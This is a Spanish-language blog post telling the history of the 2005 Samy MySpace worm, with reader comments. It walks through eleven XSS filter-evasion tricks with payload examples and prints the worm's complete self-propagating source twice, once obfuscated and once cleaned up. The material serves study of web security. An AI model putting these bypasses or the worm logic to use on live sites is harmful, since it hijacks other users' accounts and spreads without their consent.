23 septiembre 2010

Hackeos Memorables: Samy is My Hero

(Esta historia es real, no es que haya modificado lo ocurrido ayer en twitter y cambiado fechas y nombres de redes sociales. Cinco años después seguimos igual)

Octubre de 2005, Samy Kamkar, un joven hacker de 19 años quiere modificar su perfil en la nueva red social MySpace. Le gustaría poder añadir algo que el resto de usuarios no pudiesen tener, pero casualmente descubre una vulnerabilidad que le permite ejecutar código javascript, o por lo menos, así es como el mismo describía el hallazgo en una entrevista.

La realidad seguramente sea otra, Samy había dedicado horas a estudiar el funcionamiento y los filtros que aplicaba la red social a todo el contenido que los usuarios podían añadir hasta que por fin encontró una forma de insertarlo saltándose todas las protecciones.

La vulnerabilidad era un XSS persistente que explotaría con la creación del primer gusano en un servicio web. Todos los usuarios que visitasen su perfil modificarian el suyo añadiendo la frase "but most of all, samy is my hero." y añadiendo a Samy como amigo. En 24 horas Samy contaba con un 1.000.000 de solicitudes de amistad, convirtiéndose en el bicho con la propagación más rápida hasta la fecha.

El suceso se convirtió rápidamente en noticia de todos los medios, haciendo referencia en sitios como Slashdot, The Register o The Guardian. Incluso se llegaron a vender camisetas como la de la imagen superior.


Pese a que parece sencillo el proceso que Kamkar tuvo que desarrollar es digno de ser uno de los hackeos memorables más divertidos y didácticos. Los principales pasos y barreras que esquivó para lograr evadir todas las protecciones fueron estos once:
  1. MySpace filtraba todas las etiquetas html menos <a>, <img> y <div> por lo que no se podía añadir contenido usando <script>s, <body> o los atributos onClicks, onAnythings, href con javascript, etcétera, aunque si permitia insertar CSS, que en algunos navegadores ejecuta jscript.


    Ejemplo: <div style="background:url('javascript:alert(1)')">

  2. El siguiente problema era insertar comillas dobles en el código javascript, ya que se habían usado en la etiqueta div, tanto las simples como las dobles y no se podían volver a utilizar. Para solucionar el problema usó una expresión para almacenar el código y posteriormente ejecutarla.


    Ejemplo: <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

  3. ¡¡Ya podía meter comillas simples!! otro pequeño filtro eliminaba la palabra "javascript", por lo que hubo que aprovechar que algunos navegadores la seguían procesando aunque estuviera compuesta con un retorno de linea en medio del tipo: java\nscript.


    Ejemplo: <div id="mycode" expr="alert('hah!')" style="background:url('java
    script:eval(document.all.mycode.expr)')">

  4. Por desgracia también era necesario usar las comillas dobles y con lo visto anteriormente no era suficiente. Pero esta vez resultaría más sencillo utilizando su equivalente ASCII.


    Ejemplo: <div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java
    script:eval(document.all.mycode.expr)')">

  5. Para obtener el código de la página era necesario acceder a document.body.innerHTML, pero la cadena "innerHTML" también estaba filtrada, por lo que había que componerla con un eval() cada vez que se necesitase.


    Ejemplo: alert(eval('document.body.inne' + 'rHTML'));

  6. Exactamente igual que en el punto anterior ocurría con la cadena onreadystatechange, necesaria para hacer peticiones GET y POST mediante XML-HTTP. Otro eval() solucionó el obstáculo.


    Ejemplo: eval('xmlhttp.onread' + 'ystatechange = callback');

  7. En este punto se hacía el primer GET para obtener el código fuente de la página y la lista de amigos del usuario, que eran almacenados para la propagación. La búsqueda se ejecutaba contra la cadena "friendID".


    Ejemplo: var index = html.indexOf('frien' + 'dID');

  8. Para añadir nuevos héroes hacía falta hacer un POST sobre una url que estaba en distinto subdominio, ya que todo el proceso se estaba ejecutando en profile.myspace.com y no sobre www.myspace.com donde se encontraba la función addFriends. En esta situación Samy recargaba la página que corresponde si el dominio no concuerda y posteriormente lanzaba el POST con la correcta.


    Ejemplo: if (location.hostname == 'profile.myspace.com') document.location = 'http://www.myspace.com' + location.pathname + location.search;

  9. Antes de añadir un usuario era necesario encontrar un hash variable que hacía las funciones de token en una confirmación del tipo "¿Estás seguro que quieres añadir a Cris como amiga?", por lo que una nueva búsqueda en el código fuente y se vuelve a lanzar el POST.
  10. El último paso era reproducir el código malicioso en los perfiles de los amigos, para lo que se hacen dos peticiones GET/POST nuevas
  11. Por problemas de tamaño se ofuscó el código, se redujeron nombres de variables y se reutilizaron al máximo las funciones. Op-ti-mi-za-ci-ón
Para los más curiosos el código original que se puso en el perfil es el siguiente:

<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

En las siguientes líneas se muestra de forma más limpia y clara:

<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="

var B = String.fromCharCode(34);
var A = String.fromCharCode(39);

function g()
{
  var C;
  try
  {
    var D = document.body.createTextRange();
    C = D.htmlText
  }
  catch (e)
  {
  }
  if (C)
  {
    return C
  }
  else
  {
    return eval('document.body.inne' + 'rHTML')
  }
}

function getData(AU)
{
  M = getFromURL(AU, 'friendID');
  L = getFromURL(AU, 'Mytoken')
}

function getQueryParams()
{
  var E = document.location.search;
  var F = E.substring(1, E.length).split('&');
  var AS = new Array();
  for (var O = 0; O < F.length; O++)
  {
    var I = F[O].split('=');
    AS[I[0]] = I[1]
  }
  return AS
}
var J;
var AS = getQueryParams();
var L = AS['Mytoken'];
var M = AS['friendID'];
if (location.hostname == 'profile.myspace.com')
{
  document.location = 'http://www.myspace.com' + location.pathname + location.search
}
else
{
  if (!M)
  {
    getData(g())
  }
  main()
}

function getClientFID()
{
  return findIn(g(), 'up_launchIC( ' + A, A)
}

function nothing()
{
}

function paramsToString(AV)
{
  var N = new String();
  var O = 0;
  for (var P in AV)
  {
    if (O > 0)
    {
      N += '&'
    }
    var Q = escape(AV[P]);
    while (Q.indexOf('+') != -1)
    {
      Q = Q.replace('+', '%2B')
    }
    while (Q.indexOf('&') != -1)
    {
      Q = Q.replace('&', '%26')
    }
    N += P + '=' + Q;
    O++
  }
  return N
}

function httpSend(BH, BI, BJ, BK)
{
  if (!J)
  {
    return false
  }
  eval('J.onr' + 'eadystatechange=BI');
  J.open(BJ, BH, true);
  if (BJ == 'POST')
  {
    J.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    J.setRequestHeader('Content-Length', BK.length)
  }
  J.send(BK);
  return true
}

function findIn(BF, BB, BC)
{
  var R = BF.indexOf(BB) + BB.length;
  var S = BF.substring(R, R + 1024);
  return S.substring(0, S.indexOf(BC))
}

function getHiddenParameter(BF, BG)
{
  return findIn(BF, 'name=' + B + BG + B + ' value=' + B, B)
}

function getFromURL(BF, BG)
{
  var T;
  if (BG == 'Mytoken')
  {
    T = B
  }
  else
  {
    T = '&'
  }
  var U = BG + '=';
  var V = BF.indexOf(U) + U.length;
  var W = BF.substring(V, V + 1024);
  var X = W.indexOf(T);
  var Y = W.substring(0, X);
  return Y
}

function getXMLObj()
{
  var Z = false;
  if (window.XMLHttpRequest)
  {
    try
    {
      Z = new XMLHttpRequest()
    }
    catch (e)
    {
      Z = false
    }
  }
  else if (window.ActiveXObject)
  {
    try
    {
      Z = new ActiveXObject('Msxml2.XMLHTTP')
    }
    catch (e)
    {
      try
      {
        Z = new ActiveXObject('Microsoft.XMLHTTP')
      }
      catch (e)
      {
        Z = false
      }
    }
  }
  return Z
}
var AA = g();
var AB = AA.indexOf('m' + 'ycode');
var AC = AA.substring(AB, AB + 4096);
var AD = AC.indexOf('D' + 'IV');
var AE = AC.substring(0, AD);
var AF;
if (AE)
{
  AE = AE.replace('jav' + 'a', A + 'jav' + 'a');
  AE = AE.replace('exp' + 'r)', 'exp' + 'r)' + A);
  AF = ' but most of all, samy is my hero. <d' + 'iv id=' + AE + 'D' + 'IV>'
}
var AG;

function getHome()
{
  if (J.readyState != 4)
  {
    return
  }
  var AU = J.responseText;
  AG = findIn(AU, 'P' + 'rofileHeroes', '</td>');
  AG = AG.substring(61, AG.length);
  if (AG.indexOf('samy') == -1)
  {
    if (AF)
    {
      AG += AF;
      var AR = getFromURL(AU, 'Mytoken');
      var AS = new Array();
      AS['interestLabel'] = 'heroes';
      AS['submit'] = 'Preview';
      AS['interest'] = AG;
      J = getXMLObj();
      httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken=' + 
                AR, postHero, 'POST', paramsToString(AS))
    }
  }
}

function postHero()
{
  if (J.readyState != 4)
  {
    return
  }
  var AU = J.responseText;
  var AR = getFromURL(AU, 'Mytoken');
  var AS = new Array();
  AS['interestLabel'] = 'heroes';
  AS['submit'] = 'Submit';
  AS['interest'] = AG;
  AS['hash'] = getHiddenParameter(AU, 'hash');
  httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken=' + 
           AR, nothing, 'POST', paramsToString(AS))
}

function main()
{
  var AN = getClientFID();
  var BH = '/index.cfm?fuseaction=user.viewProfile&friendID=' + AN +
            '&Mytoken=' + L;
  J = getXMLObj();
  httpSend(BH, getHome, 'GET');
  xmlhttp2 = getXMLObj();
  httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&
             amp;Mytoken=' + L, processxForm, 'GET')
}

function processxForm()
{
  if (xmlhttp2.readyState != 4)
  {
    return
  }
  var AU = xmlhttp2.responseText;
  var AQ = getHiddenParameter(AU, 'hashcode');
  var AR = getFromURL(AU, 'Mytoken');
  var AS = new Array();
  AS['hashcode'] = AQ;
  AS['friendID'] = '11851658';
  AS['submit'] = 'Add to Friends';
  httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken=' + 
             AR, nothing, 'POST', paramsToString(AS))
}

function httpSend2(BH, BI, BJ, BK)
{
  if (!xmlhttp2)
  {
    return false
  }
  eval('xmlhttp2.onr' + 'eadystatechange=BI');
  xmlhttp2.open(BJ, BH, true);
  if (BJ == 'POST')
  {
    xmlhttp2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xmlhttp2.setRequestHeader('Content-Length', BK.length)
  }
  xmlhttp2.send(BK);
  return true
}
}"></DIV> 

Por desgracia, por esta "broma" a Samy le condenaron con una pena ejemplar de tres años de libertad condicional, 90 días de servicios para la comunidad y una multa económica de una cantidad desconocida.

Seguramente sea una mala idea, pero podéis seguir a Kamkar en su twitter: @samykamkar.

Referencias:

7 comments :

Newlog dijo...

Genial entrada!

Y qué desgracia que condenaran al chaval...

muxo dijo...

Explicadito así, casi parece fácil!
\Creo que es uno de los mejores hackeos memorables que habeis publicad.o.

Anónimo dijo...

Muy buen articulo. Muy completo y explicado.
Ahora este personaje a sacado una tal "evercookie", una cokie que no se puede quitar. mas info aqui: http://threatpost.com/es_la/blogs/los-investigadores-dicen-evercookie-no-puede-ser-removido-092210

Anónimo dijo...

Buen artículo y buena traducción del step by step... http://namb.la/popular/tech.html

Alejandro Ramos dijo...

@Anónimo 2: para eso mismo están las referencias justo al final del artículo. Donde YA se menciona ese mismo link.

Gracias por tu comentario.

Anónimo dijo...

Si, lo vi justo después de enviar el comentario, no pretendía ser despectivo, al contrario.

Muy buena explicación!

DoctorPC dijo...

Que buena historia, es como para que la lean estudiantes desmotivados ;)